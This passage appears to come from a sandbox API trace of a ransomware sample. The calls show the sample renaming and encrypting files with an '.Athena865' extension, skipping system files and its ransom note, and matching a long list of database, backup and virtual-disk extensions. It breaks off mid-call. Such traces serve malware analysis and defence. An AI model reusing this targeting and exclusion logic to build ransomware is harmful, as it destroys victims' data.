Information\\SPP\\OnlineMetadataCache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.716] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{425865b3-1a09-4be3-8a97-1baffda74ed0}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.716] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2944) returned 1 [0099.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.716] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.716] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.717] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.717] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.717] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe80, lpName=0x0) returned 0x154 [0099.719] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe80) returned 0x100000 [0099.725] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.726] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.726] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.727] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.727] CloseHandle (hObject=0x154) returned 1 [0099.727] CloseHandle (hObject=0x17c) returned 1 [0099.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.727] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x764e1420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x764e1420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x764e1420, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", cAlternateFileName="{51296~1")) returned 1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.727] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.728] lstrlenW (lpString="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp") returned 57 [0099.728] lstrcpyW (in: lpString1=0x241e8b2, lpString2="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp" | out: lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp") returned="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp" [0099.728] lstrlenW (lpString="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp") returned 57 [0099.728] lstrlenW (lpString="Athena865") returned 9 [0099.728] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.728] lstrlenW (lpString=".dll") returned 4 [0099.728] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.728] lstrlenW (lpString=".lnk") returned 4 [0099.728] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.728] lstrlenW (lpString=".ini") returned 4 [0099.728] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.728] lstrlenW (lpString=".sys") returned 4 [0099.728] lstrcmpiW (lpString1="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.728] lstrlenW (lpString="{51296d62-5aa5-412e-9a8f-abe77cd15e9e}_OnDiskSnapshotProp") returned 57 [0099.728] lstrlenW (lpString="bak") returned 3 [0099.728] lstrcmpiW (lpString1="rop", lpString2="bak") returned 1 [0099.728] lstrlenW (lpString="ba_") returned 3 [0099.728] lstrcmpiW (lpString1="rop", lpString2="ba_") returned 1 [0099.728] lstrlenW (lpString="dbb") returned 3 [0099.728] lstrcmpiW (lpString1="rop", lpString2="dbb") returned 1 [0099.728] lstrlenW (lpString="vmdk") returned 4 [0099.728] lstrcmpiW (lpString1="Prop", lpString2="vmdk") returned -1 [0099.728] lstrlenW (lpString="rar") returned 3 [0099.728] lstrcmpiW (lpString1="rop", lpString2="rar") returned 1 [0099.728] lstrlenW (lpString="zip") returned 3 [0099.728] lstrcmpiW (lpString1="rop", lpString2="zip") returned -1 [0099.728] lstrlenW (lpString="tgz") returned 3 [0099.728] lstrcmpiW (lpString1="rop", lpString2="tgz") returned -1 [0099.728] lstrlenW (lpString="vbox") returned 4 [0099.729] lstrcmpiW (lpString1="Prop", lpString2="vbox") returned -1 [0099.729] lstrlenW (lpString="vdi") returned 3 [0099.729] lstrcmpiW (lpString1="rop", lpString2="vdi") returned -1 [0099.729] lstrlenW (lpString="vhd") returned 3 [0099.729] lstrcmpiW (lpString1="rop", lpString2="vhd") returned -1 [0099.729] lstrlenW (lpString="vhdx") returned 4 [0099.729] lstrcmpiW (lpString1="Prop", lpString2="vhdx") returned -1 [0099.729] lstrlenW (lpString="avhd") returned 4 [0099.729] lstrcmpiW (lpString1="Prop", lpString2="avhd") returned 1 [0099.729] lstrlenW (lpString="db") returned 2 [0099.729] lstrcmpiW (lpString1="op", lpString2="db") returned 1 [0099.729] lstrlenW (lpString="db2") returned 3 [0099.729] lstrcmpiW (lpString1="rop", lpString2="db2") returned 1 [0099.729] lstrlenW (lpString="db3") returned 3 [0099.729] lstrcmpiW (lpString1="rop", lpString2="db3") returned 1 [0099.729] lstrlenW (lpString="dbf") returned 3 [0099.729] lstrcmpiW (lpString1="rop", lpString2="dbf") returned 1 [0099.729] lstrlenW (lpString="mdf") returned 3 [0099.729] lstrcmpiW (lpString1="rop", lpString2="mdf") returned 1 [0099.729] lstrlenW (lpString="mdb") returned 3 [0099.729] lstrcmpiW (lpString1="rop", lpString2="mdb") returned 1 [0099.729] lstrlenW (lpString="sql") returned 3 [0099.729] lstrcmpiW (lpString1="rop", lpString2="sql") returned -1 [0099.729] lstrlenW (lpString="sqlite") returned 6 [0099.729] lstrcmpiW (lpString1="otProp", lpString2="sqlite") returned -1 [0099.729] lstrlenW (lpString="sqlite3") returned 7 [0099.729] lstrcmpiW (lpString1="hotProp", lpString2="sqlite3") returned -1 [0099.729] lstrlenW (lpString="sqlitedb") returned 8 [0099.729] lstrcmpiW (lpString1="shotProp", lpString2="sqlitedb") returned -1 [0099.729] lstrlenW (lpString="xml") returned 3 [0099.730] lstrcmpiW (lpString1="rop", lpString2="xml") returned -1 [0099.730] lstrlenW (lpString="$er") returned 3 [0099.730] lstrcmpiW (lpString1="rop", lpString2="$er") returned 1 [0099.730] lstrlenW (lpString="4dd") returned 3 [0099.730] lstrcmpiW (lpString1="rop", lpString2="4dd") returned 1 [0099.730] lstrlenW (lpString="4dl") returned 3 [0099.730] lstrcmpiW (lpString1="rop", lpString2="4dl") returned 1 [0099.730] lstrlenW (lpString="^^^") returned 3 [0099.730] lstrcmpiW (lpString1="rop", lpString2="^^^") returned 1 [0099.730] lstrlenW (lpString="abs") returned 3 [0099.730] lstrcmpiW (lpString1="rop", lpString2="abs") returned 1 [0099.730] lstrlenW (lpString="abx") returned 3 [0099.730] lstrcmpiW (lpString1="rop", lpString2="abx") returned 1 [0099.730] lstrlenW (lpString="accdb") returned 5 [0099.730] lstrcmpiW (lpString1="tProp", lpString2="accdb") returned 1 [0099.730] lstrlenW (lpString="accdc") returned 5 [0099.730] lstrcmpiW (lpString1="tProp", lpString2="accdc") returned 1 [0099.730] lstrlenW (lpString="accde") returned 5 [0099.730] lstrcmpiW (lpString1="tProp", lpString2="accde") returned 1 [0099.730] lstrlenW (lpString="accdr") returned 5 [0099.730] lstrcmpiW (lpString1="tProp", lpString2="accdr") returned 1 [0099.730] lstrlenW (lpString="accdt") returned 5 [0099.730] lstrcmpiW (lpString1="tProp", lpString2="accdt") returned 1 [0099.730] lstrlenW (lpString="accdw") returned 5 [0099.730] lstrcmpiW (lpString1="tProp", lpString2="accdw") returned 1 [0099.730] lstrlenW (lpString="accft") returned 5 [0099.730] lstrcmpiW (lpString1="tProp", lpString2="accft") returned 1 [0099.730] lstrlenW (lpString="adb") returned 3 [0099.730] lstrcmpiW (lpString1="rop", lpString2="adb") returned 1 [0099.730] lstrlenW (lpString="adb") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="adb") returned 1 [0099.731] lstrlenW (lpString="ade") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="ade") returned 1 [0099.731] lstrlenW (lpString="adf") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="adf") returned 1 [0099.731] lstrlenW (lpString="adn") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="adn") returned 1 [0099.731] lstrlenW (lpString="adp") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="adp") returned 1 [0099.731] lstrlenW (lpString="alf") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="alf") returned 1 [0099.731] lstrlenW (lpString="ask") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="ask") returned 1 [0099.731] lstrlenW (lpString="btr") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="btr") returned 1 [0099.731] lstrlenW (lpString="cat") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="cat") returned 1 [0099.731] lstrlenW (lpString="cdb") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="cdb") returned 1 [0099.731] lstrlenW (lpString="ckp") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="ckp") returned 1 [0099.731] lstrlenW (lpString="cma") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="cma") returned 1 [0099.731] lstrlenW (lpString="cpd") returned 3 [0099.731] lstrcmpiW (lpString1="rop", lpString2="cpd") returned 1 [0099.731] lstrlenW (lpString="dacpac") returned 6 [0099.732] lstrcmpiW (lpString1="otProp", lpString2="dacpac") returned 1 [0099.732] lstrlenW (lpString="dad") returned 3 [0099.732] lstrcmpiW (lpString1="rop", lpString2="dad") returned 1 [0099.732] lstrlenW (lpString="dadiagrams") returned 10 [0099.732] lstrcmpiW (lpString1="apshotProp", lpString2="dadiagrams") returned -1 [0099.732] lstrlenW (lpString="daschema") returned 8 [0099.732] lstrcmpiW (lpString1="shotProp", lpString2="daschema") returned 1 [0099.732] lstrlenW (lpString="db-journal") returned 10 [0099.732] lstrcmpiW (lpString1="apshotProp", lpString2="db-journal") returned -1 [0099.732] lstrlenW (lpString="db-shm") returned 6 [0099.732] lstrcmpiW (lpString1="otProp", lpString2="db-shm") returned 1 [0099.732] lstrlenW (lpString="db-wal") returned 6 [0099.732] lstrcmpiW (lpString1="otProp", lpString2="db-wal") returned 1 [0099.732] lstrlenW (lpString="dbc") returned 3 [0099.732] lstrcmpiW (lpString1="rop", lpString2="dbc") returned 1 [0099.732] lstrlenW (lpString="dbs") returned 3 [0099.732] lstrcmpiW (lpString1="rop", lpString2="dbs") returned 1 [0099.732] lstrlenW (lpString="dbt") returned 3 [0099.732] lstrcmpiW (lpString1="rop", lpString2="dbt") returned 1 [0099.732] lstrlenW (lpString="dbv") returned 3 [0099.732] lstrcmpiW (lpString1="rop", lpString2="dbv") returned 1 [0099.732] lstrlenW (lpString="dbx") returned 3 [0099.732] lstrcmpiW (lpString1="rop", lpString2="dbx") returned 1 [0099.732] lstrlenW (lpString="dcb") returned 3 [0099.732] lstrcmpiW (lpString1="rop", lpString2="dcb") returned 1 [0099.732] lstrlenW (lpString="dct") returned 3 [0099.732] lstrcmpiW (lpString1="rop", lpString2="dct") returned 1 [0099.732] lstrlenW (lpString="dcx") returned 3 [0099.733] lstrcmpiW (lpString1="rop", lpString2="dcx") returned 1 [0099.733] lstrlenW (lpString="ddl") returned 3 [0099.733] lstrcmpiW (lpString1="rop", lpString2="ddl") returned 1 [0099.733] lstrlenW (lpString="dlis") returned 4 [0099.733] lstrcmpiW (lpString1="Prop", lpString2="dlis") returned 1 [0099.733] lstrlenW (lpString="dp1") returned 3 [0099.733] lstrcmpiW (lpString1="rop", lpString2="dp1") returned 1 [0099.733] lstrlenW (lpString="dqy") returned 3 [0099.733] lstrcmpiW (lpString1="rop", lpString2="dqy") returned 1 [0099.733] lstrlenW (lpString="dsk") returned 3 [0099.733] lstrcmpiW (lpString1="rop", lpString2="dsk") returned 1 [0099.733] lstrlenW (lpString="dsn") returned 3 [0099.733] lstrcmpiW (lpString1="rop", lpString2="dsn") returned 1 [0099.733] lstrlenW (lpString="dtsx") returned 4 [0099.733] lstrcmpiW (lpString1="Prop", lpString2="dtsx") returned 1 [0099.733] lstrlenW (lpString="dxl") returned 3 [0099.733] lstrcmpiW (lpString1="rop", lpString2="dxl") returned 1 [0099.733] lstrlenW (lpString="eco") returned 3 [0099.733] lstrcmpiW (lpString1="rop", lpString2="eco") returned 1 [0099.733] lstrlenW (lpString="ecx") returned 3 [0099.733] lstrcmpiW (lpString1="rop", lpString2="ecx") returned 1 [0099.733] lstrlenW (lpString="edb") returned 3 [0099.733] lstrcmpiW (lpString1="rop", lpString2="edb") returned 1 [0099.733] lstrlenW (lpString="epim") returned 4 [0099.733] lstrcmpiW (lpString1="Prop", lpString2="epim") returned 1 [0099.733] lstrlenW (lpString="fcd") returned 3 [0099.734] lstrcmpiW (lpString1="rop", lpString2="fcd") returned 1 [0099.734] lstrlenW (lpString="fdb") returned 3 [0099.734] lstrcmpiW (lpString1="rop", lpString2="fdb") returned 1 [0099.734] lstrlenW (lpString="fic") returned 3 [0099.734] lstrcmpiW (lpString1="rop", lpString2="fic") returned 1 [0099.734] lstrlenW (lpString="flexolibrary") returned 12 [0099.734] lstrcmpiW (lpString1="SnapshotProp", lpString2="flexolibrary") returned 1 [0099.734] lstrlenW (lpString="fm5") returned 3 [0099.734] lstrcmpiW (lpString1="rop", lpString2="fm5") returned 1 [0099.734] lstrlenW (lpString="fmp") returned 3 [0099.734] lstrcmpiW (lpString1="rop", lpString2="fmp") returned 1 [0099.734] lstrlenW (lpString="fmp12") returned 5 [0099.734] lstrcmpiW (lpString1="tProp", lpString2="fmp12") returned 1 [0099.734] lstrlenW (lpString="fmpsl") returned 5 [0099.734] lstrcmpiW (lpString1="tProp", lpString2="fmpsl") returned 1 [0099.734] lstrlenW (lpString="fol") returned 3 [0099.734] lstrcmpiW (lpString1="rop", lpString2="fol") returned 1 [0099.734] lstrlenW (lpString="fp3") returned 3 [0099.734] lstrcmpiW (lpString1="rop", lpString2="fp3") returned 1 [0099.734] lstrlenW (lpString="fp4") returned 3 [0099.734] lstrcmpiW (lpString1="rop", lpString2="fp4") returned 1 [0099.734] lstrlenW (lpString="fp5") returned 3 [0099.734] lstrcmpiW (lpString1="rop", lpString2="fp5") returned 1 [0099.734] lstrlenW (lpString="fp7") returned 3 [0099.734] lstrcmpiW (lpString1="rop", lpString2="fp7") returned 1 [0099.734] lstrlenW (lpString="fpt") returned 3 [0099.735] lstrcmpiW (lpString1="rop", lpString2="fpt") returned 1 [0099.735] lstrlenW (lpString="frm") returned 3 [0099.735] lstrcmpiW (lpString1="rop", lpString2="frm") returned 1 [0099.735] lstrlenW (lpString="gdb") returned 3 [0099.735] lstrcmpiW (lpString1="rop", lpString2="gdb") returned 1 [0099.735] lstrlenW (lpString="gdb") returned 3 [0099.735] lstrcmpiW (lpString1="rop", lpString2="gdb") returned 1 [0099.735] lstrlenW (lpString="grdb") returned 4 [0099.735] lstrcmpiW (lpString1="Prop", lpString2="grdb") returned 1 [0099.735] lstrlenW (lpString="gwi") returned 3 [0099.735] lstrcmpiW (lpString1="rop", lpString2="gwi") returned 1 [0099.735] lstrlenW (lpString="hdb") returned 3 [0099.735] lstrcmpiW (lpString1="rop", lpString2="hdb") returned 1 [0099.735] lstrlenW (lpString="his") returned 3 [0099.735] lstrcmpiW (lpString1="rop", lpString2="his") returned 1 [0099.735] lstrlenW (lpString="ib") returned 2 [0099.735] lstrcmpiW (lpString1="op", lpString2="ib") returned 1 [0099.735] lstrlenW (lpString="idb") returned 3 [0099.735] lstrcmpiW (lpString1="rop", lpString2="idb") returned 1 [0099.735] lstrlenW (lpString="ihx") returned 3 [0099.735] lstrcmpiW (lpString1="rop", lpString2="ihx") returned 1 [0099.735] lstrlenW (lpString="itdb") returned 4 [0099.736] lstrcmpiW (lpString1="Prop", lpString2="itdb") returned 1 [0099.736] lstrlenW (lpString="itw") returned 3 [0099.736] lstrcmpiW (lpString1="rop", lpString2="itw") returned 1 [0099.736] lstrlenW (lpString="jet") returned 3 [0099.736] lstrcmpiW (lpString1="rop", lpString2="jet") returned 1 [0099.736] lstrlenW (lpString="jtx") returned 3 [0099.736] lstrcmpiW (lpString1="rop", lpString2="jtx") returned 1 [0099.736] lstrlenW (lpString="kdb") returned 3 [0099.736] lstrcmpiW (lpString1="rop", lpString2="kdb") returned 1 [0099.736] lstrlenW (lpString="kexi") returned 4 [0099.736] lstrcmpiW (lpString1="Prop", lpString2="kexi") returned 1 [0099.736] lstrlenW (lpString="kexic") returned 5 [0099.736] lstrcmpiW (lpString1="tProp", lpString2="kexic") returned 1 [0099.736] lstrlenW (lpString="kexis") returned 5 [0099.736] lstrcmpiW (lpString1="tProp", lpString2="kexis") returned 1 [0099.736] lstrlenW (lpString="lgc") returned 3 [0099.736] lstrcmpiW (lpString1="rop", lpString2="lgc") returned 1 [0099.736] lstrlenW (lpString="lwx") returned 3 [0099.736] lstrcmpiW (lpString1="rop", lpString2="lwx") returned 1 [0099.736] lstrlenW (lpString="maf") returned 3 [0099.736] lstrcmpiW (lpString1="rop", lpString2="maf") returned 1 [0099.736] lstrlenW (lpString="maq") returned 3 [0099.736] lstrcmpiW (lpString1="rop", lpString2="maq") returned 1 [0099.736] lstrlenW (lpString="mar") returned 3 [0099.736] lstrcmpiW (lpString1="rop", lpString2="mar") returned 1 [0099.736] lstrlenW (lpString="marshal") returned 7 [0099.736] lstrcmpiW (lpString1="hotProp", lpString2="marshal") returned -1 [0099.736] lstrlenW (lpString="mas") returned 3 [0099.736] lstrcmpiW (lpString1="rop", lpString2="mas") returned 1 [0099.736] lstrlenW (lpString="mav") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="mav") returned 1 [0099.737] lstrlenW (lpString="maw") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="maw") returned 1 [0099.737] lstrlenW (lpString="mdbhtml") returned 7 [0099.737] lstrcmpiW (lpString1="hotProp", lpString2="mdbhtml") returned -1 [0099.737] lstrlenW (lpString="mdn") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="mdn") returned 1 [0099.737] lstrlenW (lpString="mdt") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="mdt") returned 1 [0099.737] lstrlenW (lpString="mfd") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="mfd") returned 1 [0099.737] lstrlenW (lpString="mpd") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="mpd") returned 1 [0099.737] lstrlenW (lpString="mrg") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="mrg") returned 1 [0099.737] lstrlenW (lpString="mud") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="mud") returned 1 [0099.737] lstrlenW (lpString="mwb") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="mwb") returned 1 [0099.737] lstrlenW (lpString="myd") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="myd") returned 1 [0099.737] lstrlenW (lpString="ndf") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="ndf") returned 1 [0099.737] lstrlenW (lpString="nnt") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="nnt") returned 1 [0099.737] lstrlenW (lpString="nrmlib") returned 6 [0099.737] lstrcmpiW (lpString1="otProp", lpString2="nrmlib") returned 1 [0099.737] lstrlenW (lpString="ns2") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="ns2") returned 1 [0099.737] lstrlenW (lpString="ns3") returned 3 [0099.737] lstrcmpiW (lpString1="rop", lpString2="ns3") returned 1 [0099.738] lstrlenW (lpString="ns4") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="ns4") returned 1 [0099.738] lstrlenW (lpString="nsf") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="nsf") returned 1 [0099.738] lstrlenW (lpString="nv") returned 2 [0099.738] lstrcmpiW (lpString1="op", lpString2="nv") returned 1 [0099.738] lstrlenW (lpString="nv2") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="nv2") returned 1 [0099.738] lstrlenW (lpString="nwdb") returned 4 [0099.738] lstrcmpiW (lpString1="Prop", lpString2="nwdb") returned 1 [0099.738] lstrlenW (lpString="nyf") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="nyf") returned 1 [0099.738] lstrlenW (lpString="odb") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="odb") returned 1 [0099.738] lstrlenW (lpString="odb") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="odb") returned 1 [0099.738] lstrlenW (lpString="oqy") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="oqy") returned 1 [0099.738] lstrlenW (lpString="ora") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="ora") returned 1 [0099.738] lstrlenW (lpString="orx") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="orx") returned 1 [0099.738] lstrlenW (lpString="owc") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="owc") returned 1 [0099.738] lstrlenW (lpString="p96") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="p96") returned 1 [0099.738] lstrlenW (lpString="p97") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="p97") returned 1 [0099.738] lstrlenW (lpString="pan") returned 3 [0099.738] lstrcmpiW (lpString1="rop", lpString2="pan") returned 1 [0099.738] lstrlenW (lpString="pdb") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="pdb") returned 1 [0099.739] lstrlenW (lpString="pdm") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="pdm") returned 1 [0099.739] lstrlenW (lpString="pnz") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="pnz") returned 1 [0099.739] lstrlenW (lpString="qry") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="qry") returned 1 [0099.739] lstrlenW (lpString="qvd") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="qvd") returned 1 [0099.739] lstrlenW (lpString="rbf") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="rbf") returned 1 [0099.739] lstrlenW (lpString="rctd") returned 4 [0099.739] lstrcmpiW (lpString1="Prop", lpString2="rctd") returned -1 [0099.739] lstrlenW (lpString="rod") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="rod") returned 1 [0099.739] lstrlenW (lpString="rodx") returned 4 [0099.739] lstrcmpiW (lpString1="Prop", lpString2="rodx") returned -1 [0099.739] lstrlenW (lpString="rpd") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="rpd") returned -1 [0099.739] lstrlenW (lpString="rsd") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="rsd") returned -1 [0099.739] lstrlenW (lpString="sas7bdat") returned 8 [0099.739] lstrcmpiW (lpString1="shotProp", lpString2="sas7bdat") returned 1 [0099.739] lstrlenW (lpString="sbf") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="sbf") returned -1 [0099.739] lstrlenW (lpString="scx") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="scx") returned -1 [0099.739] lstrlenW (lpString="sdb") returned 3 [0099.739] lstrcmpiW (lpString1="rop", lpString2="sdb") returned -1 [0099.739] lstrlenW (lpString="sdc") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="sdc") returned -1 [0099.740] lstrlenW (lpString="sdf") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="sdf") returned -1 [0099.740] lstrlenW (lpString="sis") returned 3 [0099.740] lstrcmpiW (lpString1="rop", lpString2="sis") returned -1 [0099.740] lstrlenW (lpString="spq") returned 3 [0099.740] lstrcmpiW 